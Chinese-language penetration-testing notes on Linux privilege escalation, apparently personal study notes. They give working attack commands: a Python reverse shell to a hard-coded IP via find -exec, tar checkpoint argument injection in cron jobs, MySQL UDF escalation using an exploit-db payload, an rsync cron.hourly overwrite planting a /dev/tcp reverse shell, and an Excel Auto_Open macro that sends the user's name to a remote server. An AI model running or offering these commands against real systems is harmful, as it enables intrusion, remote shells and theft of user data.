find xiaodi -exec python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“47.94.236.117”,7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ \;
nc -lvp 7777
内核提权
可以用一些脚本搜索可能存在的漏洞 根据漏洞编号去查找相应的exp
计划任务
crontab
1、相对路径和绝对路径执行
2、计划任务命令存在参数调用
利用计划任务的备份功能tar命令的参数利用
echo “” > “–checkpoint-action=exec=sh test.sh”
echo “” > –checkpoint=1
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > test.sh
3、计划任务执行文件权限覆盖
利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
通过mysql服务提权
下载mysql udf poc进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行UDF导出
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/tmp/1518.so’));
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;
创建do_system函数调用
create function do_system returns integer soname ‘1518.so’;
select do_system(‘chmod u+s /usr/bin/find’);
Rsync服务提权-WEB&本地
介绍:Rsync是linux下一款数据备份工具,默认开启873端口
https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖
提权过程:
1、创建一个shell文件,内容
bash bash -i >& /dev/tcp/ip/port 0>&1
2、赋予执行权限:
chomd +x shell
3、上传文件覆盖定时任务目录下
rsync -av shell rsync://ip:873/src/etc/cron.hourly
4、进行nc 监听相应的端口
nc -lvvp port
应急响应
勒索病毒
挖矿病毒
vba
Sub GetSystemInfo()
MsgBox "Excel版本信息为:" & Application.CalculationVersion
MsgBox "本机操作系统的名称和版本为:" & Application.OperatingSystem
MsgBox "本产品所登记的组织名为:" & Application.OrganizationName
MsgBox "当前用户名为:" & Application.UserName
MsgBox "当前使用的Excel版本为:" & Environ("UserName")
MsgBox "当前使用的Excel版本为:" & Application.Version
End Sub
Sub Auto_Open()
Dim name As String
name = Application.UserName
Dim MyRequest As Object
Set MyRequest = CreateObject("WinHttp.WinHttpRequest.5.1")
MyRequest.Open "GET", _
"http://120.25.206.180:8081/1.php?uname=" + name
' Send Request.
MyRequest.Send
'And we get this response
MsgBox "你好,我是李浦华"
End Sub